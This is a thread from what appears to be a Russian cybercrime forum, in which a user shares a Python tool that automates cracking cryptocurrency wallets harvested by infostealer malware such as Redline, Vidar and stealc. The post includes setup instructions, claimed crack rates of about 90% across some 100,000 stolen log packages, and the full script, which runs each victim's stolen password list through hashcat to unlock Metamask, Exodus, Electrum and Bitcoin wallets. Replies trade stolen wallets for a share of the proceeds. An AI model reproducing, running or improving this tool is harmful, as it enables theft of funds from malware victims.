• XSS.stack #1 – первый литературный журнал от юзеров форума

чекер Cracking Автоматически Wallets

Wellerman

floppy-диск
Пользователь
Регистрация
09.12.2023
Сообщения
2
Реакции
-3
dd.cleaned.png

Понимаешь, сейчас чтобы проверить, можешь ли взломать кошелек, приходится делать это вручную, по одному, что, согласись, бесполезно и долго. Но моя программа берет на себя всю эту работу.

Вот как она работает. Она берет папку, где хранятся все пакеты, и начинает искать кошельки один за другим. Если находит, то смотрит, это кошелек Metamask, Exodus, Electrum или что-то другое, типа .dat (типа Bitcoin или Doge). Затем пробует получить хеш каждого из них и готовит землю для cracking. Если всё идет по плану, начинает cracking. Если успешно, сохраняет путь к кошельку вместе с расшифрованным паролем. И так продолжается, пока не проверит все пакеты.

Плюс, программа принимает: Redline, lummac2, meta, meduza, vidar, raccoon, RisePro и stealc.

В общем, программа показала отличные результаты в моих тестах. Из примерно 100 000 пакетов, большинство удалось взломать:

Для Metamask из примерно 5 000 кошельков почти 4 500 взломали! (90%).
С Exodus из примерно 3 000 кошельков почти 2 800 попало в сети! (93%).
Для Electrum из примерно 2 000 кошельков около 1 700 были взломаны! (85%).
А для файлов .dat из примерно 800 кошельков более 750 были взломаны! (93,7%).

Cамые интересные кошельки – это Exodus и Metamask. Хотя, правда, я не встречал много кошельков с более чем 10k. И, если честно, я не люблю снимать еду от кого -либо, но если у кого -то есть большое облако, и он может взломать кошелек, полный денег, просто подумайте, что, поскольку он получил бесплатную программу, жертвует небольшой частью людей, которые нуждаются есть

Если кто-то имеет идеи, как улучшить программу или как избежать ручной проверки каждого кошелька (ведь большинство из них пустые), я открыт для предложений. Я думал создать бота, который будет это проверять и говорить, сколько денег на счете, но, может быть, есть идеи получше. В общем, вот почему я так люблю открытый код: он делает мир более свободным, безопасным и открытым. Так что любые идеи приветствуются!

Отзывы обо всех функциях можно найти в коде, но если вам что-то непонятно, не стесняйтесь спрашивать

c.cleaned.png


j.cleaned.pngi.cleaned.pngh.cleaned.pngg.cleaned.pngf.cleaned.pnge.cleaned.pngd.cleaned.pngc.cleaned.png
Автор: Wellerman
Источник:
https://xss.pro
 

Вложения

  • CrackingWallets.zip
    12.4 КБ · Просмотры: 147
Последнее редактирование:
нахрена нам наглый копи паст старья? Кинулись на конкурс люди, с 1-3 сообщениями на форуме, своровали чужие сорцы и как новые повершелы и бтс кракинг выдают. И тут видно, что даже лень было в код зайти, поменять там функции, улучшить или или ещё что. Позор.
IMG_20240306_054047.jpg
 
штука интересная, но ты бы описал установку и запуск чтоль, ибо исходя из картинки это выглядит как автоматический чек(при приходе в панель), а пока дочитал понял что это походу штука которая уже после сбора начинает серфить, хз в общем
 
Пожалуйста, обратите внимание, что пользователь заблокирован
if anyone can do this i have dozens of wallets with god knows how much money in them. Ill gladly give them over for a small %
 
Пожалуйста, обратите внимание, что пользователь заблокирован
своровали чужие сорцы
Но не стоит за это просить оплату. Статья ведь не ваша.
Напомню 🤣
"Вали нигера!" Громче всех кричал нигер.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
i do not understand this 🤔 i get so many errors, there is no starting point, if there is some please share some basic commands to run these scripts
 
нахрена нам наглый копи паст старья? Кинулись на конкурс люди, с 1-3 сообщениями на форуме, своровали чужие сорцы и как новые повершелы и бтс кракинг выда
штука интересная, но ты бы описал установку и запуск чтоль, ибо исходя из картинки это выглядит как автоматический чек(при приходе в панель), а пока дочитал понял что это походу штука которая уже после сбора начинает серфить, хз в общем
штука интересная, но ты бы описал установку и запуск чтоль, ибо исходя из картинки это выглядит как автоматический чек(при приходе в панель), а пока дочитал понял что это походу штука которая уже после сбора начинает серфить, хз в общем
if anyone can do this i have dozens of wallets with god knows how much money in them. Ill gladly give them over for a small %
i do not understand this 🤔 i get so many errors, there is no starting point, if there is some please share some basic commands to run these scripts

Скрипты: bitcoin2hash, electrumtojhon, exodus2hashcat, metamaskhash не мои, но я прикрепляю их в код, потому что они необходимы для его работы, который, как указывает его название, получает хэш, и, поскольку они не мои, права авторов зарезервированы и должны быть поставлены на место.

Сценарии: extrac.py (используется для очистки пароля) jsonclean.py (для очистки .log, который у Metamsk) и Wallet_crack.py - это те, которые я разработал, но основная и единственная программа, которая должна быть выполнена. Wallet_crack.py

Основная цель программы - автоматизировать процесс взлома криптовалютных кошельков, найденных в пакетах вредоносного ПО типа stealer, например, Redline, lummac2, meta, meduza, vidar, raccoon, RisePro и stealc. Программа направлена на облегчение процесса восстановления паролей и доступа к хранящимся в таких кошельках криптовалютам.

Прежде чем запускать главный скрипт, тебе нужно установить все необходимые зависимости. Можешь сделать это через pip, зависимость, которая поступает по умолчанию, но если у них ее нет, они должны установить ее, та же версия не требуется

Установка Hashcat v6.2.6: Очень важно установить именно версию 6.2.6 Hashcat, так как только эта версия может взломать кошельки Exodus. Скачай Hashcat v6.2.6 с официального сайта Hashcat и следуй инструкциям по установке. Убедись, что Hashcat доступен в твоем PATH, чтобы можно было запускать его из любого места.

Настройка скрипта: Перед запуском wallet_crack.py отредактируй файл и укажи в переменной Base_Path путь к директории, где у тебя лежат файлы или пакеты для обработки. Это нужно, чтобы скрипт знал, где искать необходимые для дешифровки файлы.

Запуск скрипта: Когда все готово, открой терминал или командную строку, перейди в папку со скриптом wallet_crack.py и запусти его командой python wallet_crack.py. С этого момента скрипт начнет автоматический процесс поиска и попытки взлома криптовалютных кошельков.

Основной код имел несколько ошибок, которые я решил, прикрепил все файлы без ошибок.



Python:
import os
import subprocess
import glob
import shlex
import fnmatch
import re

def delete_files(file_type, counter):
    """
    Deletes files based on the specified type and counter. The function maps each type to a corresponding
    list of file name patterns and deletes the files matching these patterns.
    """
    file_patterns = {
        'metamask': [
            "output_{counter}.json",
            "metamaskHash_{counter}.hash",
            "cleanpass_meta_{counter}.txt",
            "MetamaskHashcat_{counter}.txt"
        ],
        'electrum': [
            "electrumHash_{counter}.hash",
            "cleanpass_elec_{counter}.txt",
            "ElectrumHashcat_{counter}.txt"
        ],
        'exodus': [
            "exodusHash_{counter}.txt",
            "cleanpass_exodus_{counter}.txt",
            "ExodusHashcat_{counter}.txt"
        ],
        'bitcoin': [
            "bitcoinHash_{counter}.txt",
            "cleanpass_bitcoin_{counter}.txt",
            "BitcoinHashcat_{counter}.txt"
        ]   
    }
    files_to_delete = file_patterns.get(file_type, [])
    for file_pattern in files_to_delete:
        file_name = file_pattern.format(counter=counter)
        try:
            os.remove(file_name)
            print(f"File {file_name} successfully deleted.")
        except FileNotFoundError:
            print(f"File {file_name} not found for deletion.")

def find_case_insensitive_directory(path, search_term):
    """
    Yields directories within 'path' that contain 'search_term' in their name, case-insensitively.
    """
    for root, dirs, _ in os.walk(path):
        search_pattern = f'*{search_term}*'
        matching_dirs = fnmatch.filter([d.lower() for d in dirs], search_pattern)
        original_names = {d.lower(): d for d in dirs}
        for match in matching_dirs:
            yield os.path.join(root, original_names[match])

def list_files_in_subdirectories(directory):
    """
    Lists all files within the subdirectories of the specified directory.
    """
    files = []
    for root, dirs, files_in_dir in os.walk(directory):
        for file in files_in_dir:
            full_path = os.path.join(root, file)
            files.append(full_path)
    return files

def find_dat_files(path):
    """
    Yields paths of .dat files within the specified directory, including subdirectories.
    """
    for root, _, files in os.walk(path):
        for file in files:
            if file.endswith('.dat'):
                yield os.path.join(root, file)

def find_password_file(directory):
    """
    Searches for files named 'passwords.txt' or 'all passwords.txt' in the directory, case-insensitive.
    """
    possible_names = ['passwords.txt', 'all passwords.txt']
    regex_pattern = re.compile('|'.join([re.escape(name) for name in possible_names]), re.IGNORECASE)
    for root, dirs, files in os.walk(directory):
        for file in files:
            if regex_pattern.match(file):
                return os.path.join(root, file)
    return None

def read_hashcat_password(output_file):
    """
    Reads the output file from Hashcat for Exodus and extracts the password.
    """
    password = None
    try:
        with open(output_file, 'r') as f:
            lines = f.readlines()
            if lines:
                last_line = lines[-1].strip()
                password = last_line.split(':')[-1]
    except FileNotFoundError:
        print(f"File {output_file} not found.")
    return password

def verify_wallet_directory(dir):
    """
    Verifies if the given directory contains 'wallets' or 'plugins' subdirectories.
    Returns the path to the first matched subdirectory.
    """
    directories_to_check = ['wallets', 'plugins']
    try:
        subdirectories = next(os.walk(dir))[1]
    except StopIteration:
        print('')
    for desired_directory in directories_to_check:
        for subdirectory in subdirectories:
            if subdirectory.lower() == desired_directory.lower():
                return os.path.join(dir, subdirectory)
    return None

def get_top_level_dirs(directory):
    """
    Returns a list of top-level directories within the specified directory.
    """
    return [d for d in os.listdir(directory) if os.path.isdir(os.path.join(directory, d))]

# The base path for the search, adjust as necessary.
base_path = "/media/juan/DiscoDuro/Descargas/logs/Logs_17-19 September"
counter = 0
results = []

# Start by listing top-level directories within the base path.
top_level_dirs = get_top_level_dirs(base_path)

# Iterate through each directory to process different wallet types.
for dir_name in top_level_dirs:
    dir_path = os.path.join(base_path, dir_name)
    wallets_path = verify_wallet_directory(dir_path)

    if wallets_path is not None:
        # Process Metamask directories.
        for metamask_dir in find_case_insensitive_directory(wallets_path, 'metamask'):
            # Search for log files within the Metamask directory.
            escaped_path = glob.escape(metamask_dir)
            metamask_path = os.path.join(escaped_path, '**', '*.log')
            log_files = glob.glob(metamask_path, recursive=True)

            for log_file in log_files:
                output_json = f"output_{counter}.json"

                # Execute a custom script to clean the JSON data.
                subprocess.run(['python3', 'jsonclean.py', log_file, output_json])

                # Look for a passwords file in the parent directory.
                password_file = find_password_file(dir_path)

                # Check if the JSON file contains "null" and if a password file exists.
                with open(output_json, 'r') as file:
                    if "null" not in file.read() and password_file is not None:
                        # Execute a script to generate a hash file for Metamask.
                        with open(f"metamaskHash_{counter}.hash", 'w') as hash_output:
                            subprocess.run(['python3', 'metamaskhash.py', '--vault', output_json], stdout=hash_output)

                        # Clean the passwords file for use with Hashcat.
                        subprocess.run(['python3', 'extrac.py', password_file, f"cleanpass_meta_{counter}.txt"])

                        # Execute Hashcat to attempt cracking the password.
                        hashcat_command = shlex.split(f"hashcat -m 26600 -o MetamaskHashcat_{counter}.txt metamaskHash_{counter}.hash cleanpass_meta_{counter}.txt --force")
                        subprocess.run(hashcat_command)
                        output_hashcat = f"MetamaskHashcat_{counter}.txt"
                        password = read_hashcat_password(output_hashcat)
                        if password:
                            results.append({"name": 'Metamask', "password": password, "Path": metamask_dir})
                    else:
                        print("Empty JSON, skipping and deleting...")

                    delete_files('metamask', counter)
                    counter += 1

        for electrum_dir in find_case_insensitive_directory(wallets_path, 'electrum'):
            # Process files in Electrum directories

            electrum_files = list_files_in_subdirectories(electrum_dir)
            for electrum_file in electrum_files:
                escaped_path = glob.escape(electrum_dir)
                hash_output_file = f"electrumHash_{counter}.hash"
                # Look for Passwords.txt file in the parent directory
                password_file = find_password_file(dir_path)

                # Execute electrumtojohn.py and capture the output
              
                command = f'python3 electrumtojhon.py "{electrum_file}" > {hash_output_file}'
                subprocess.run(command, shell=True)

                # Read the output to determine the hashcat mode
                with open(hash_output_file, 'r') as infile:
                    hashcat_mode = None
                    output = infile.read()
                    if '$electrum$1' in output:
                        hashcat_mode = '16600'
                    elif '$electrum$4' in output:
                        hashcat_mode = '21700'
                    elif '$electrum$5' in output:
                        hashcat_mode = '21800'
                    else:
                        print(f"Unknown hashcat mode for {electrum_file}, skipping...")

                # Execute hashcat with the appropriate mode
                if hashcat_mode and password_file is not None:
                    subprocess.run(['python3', 'extrac.py', password_file, f"cleanpass_elec_{counter}.txt"])

                    hashcat_command = shlex.split(f"hashcat -m {hashcat_mode} -o ElectrumHashcat_{counter}.txt {hash_output_file} cleanpass_elec_{counter}.txt --force")
                    subprocess.run(hashcat_command)
                    output_hashcat = f"ElectrumHashcat_{counter}.txt"
                    password = read_hashcat_password(output_hashcat)
                    if password:
                        results.append({"name": 'Electrum', "password": password, "Path": electrum_dir})

                delete_files('electrum', counter)

                counter += 1

        for exodus_dir in find_case_insensitive_directory(wallets_path, 'exodus'):
            # Process files in Exodus directories
            exodus_files = list_files_in_subdirectories(exodus_dir)
      
            for exodus_file in exodus_files:
                if exodus_file.endswith('seed.seco'):
                    escaped_path = glob.escape(exodus_dir)
                    hash_output_file = f"exodusHash_{counter}.txt"
                    password_file = find_password_file(dir_path)

                    if password_file is not None:     
                        # Execute exodus2hashcat.py and capture the output
                        command = f'python3 exodus2hashcat.py "{exodus_file}" > {hash_output_file}'
                        subprocess.run(command, shell=True)

                        # Clean password file
                        subprocess.run(['python3', 'extrac.py', password_file, f"cleanpass_exodus_{counter}.txt"])

                        # Execute hashcat with mode 28200
                        hashcat_command = shlex.split(f"hashcat -m 28200 -o ExodusHashcat_{counter}.txt {hash_output_file} cleanpass_exodus_{counter}.txt --force")
                        subprocess.run(hashcat_command)
                        output_hashcat = f"ExodusHashcat_{counter}.txt"
                        password = read_hashcat_password(output_hashcat)
                        if password:
                            results.append({"name": 'Exodus', "password": password, "Path": exodus_dir})
                          
                    delete_files('exodus', counter)

                    counter += 1


        for file in find_dat_files(wallets_path):
            hash_output_file = f"bitcoinHash_{counter}.txt"
            bitcoin_wallet = os.path.join(wallets_path, file)

            # As it is two levels above the .dat file
            passwords_path = find_password_file(dir_path)
            if passwords_path is not None:     
                # Execute bitcoin2hash.py and capture the output
                command = f'python3 bitcoin2hash.py "{bitcoin_wallet}" > {hash_output_file}'
                subprocess.run(command, shell=True)

                # Clean password file
                subprocess.run(['python3', 'extrac.py', passwords_path, f"cleanpass_bitcoin_{counter}.txt"])

                # Execute hashcat with mode 11300
                hashcat_command = shlex.split(f"hashcat -m 11300 -o BitcoinHashcat_{counter}.txt {hash_output_file} cleanpass_bitcoin_{counter}.txt --force")
                subprocess.run(hashcat_command)

                output_hashcat = f"BitcoinHashcat_{counter}.txt"
                password = read_hashcat_password(output_hashcat)
                if password:
                    results.append({"name": 'Bitcoin', "password": password, "Path": bitcoin_wallet})
          
            delete_files('bitcoin', counter)

            counter += 1


# At the end, results are written to a file, listing cracked wallets if any were found.
if results:
    with open("wallets_cracked.txt", 'a') as wallets_cracked_file:
        for wallet in results:
            wallets_cracked_file.write(f"{wallet['name']}:{wallet['password']}:{wallet['Path']}\n")
else:
    with open("wallets_cracked.txt", 'a') as wallets_cracked_file:
        wallets_cracked_file.write('No cracked wallets')





«Я читал так много плохих вещей об алкоголе, что решил уйти навсегда ... чтобы прочитать». Серге́й Дона́тович Довла́тов

Если тебе это не понравилось, извините
 

Вложения

  • CrackingWallets_NoBugs.zip
    12.5 КБ · Просмотры: 101
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх